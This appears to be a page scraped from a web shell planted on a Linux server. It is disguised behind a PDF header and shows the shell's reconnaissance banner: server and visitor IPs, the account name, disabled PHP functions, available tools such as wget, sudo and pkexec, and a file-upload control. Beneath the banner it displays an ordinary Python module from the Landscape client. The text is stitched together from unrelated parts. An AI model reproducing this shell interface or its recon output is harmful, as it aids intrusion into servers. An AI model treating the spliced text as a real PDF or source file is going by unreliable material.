%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj <
| Server IP : 212.252.79.165 / Your IP : 216.73.216.45 [ Web Server : Apache System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64 User : cehaburo ( 1001) PHP Version : 8.1.33 Disable Function : exec,passthru,shell_exec,system Domains : 48 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /lib/python3/dist-packages/landscape/lib/ |
Upload File : |
from landscape.lib.hashlib import md5
def build_script(interpreter, code):
"""
Concatenates a interpreter and script into an executable script.
"""
return u"#!{}\n{}".format(interpreter or u"", code or u"")
def generate_script_hash(script):
"""
Return a hash for a given script.
"""
encoded_script = script.encode("utf-8")
# As this hash is sent in message which requires bytes in the schema, we
# have to encode here.
return md5(encoded_script).hexdigest().encode("ascii")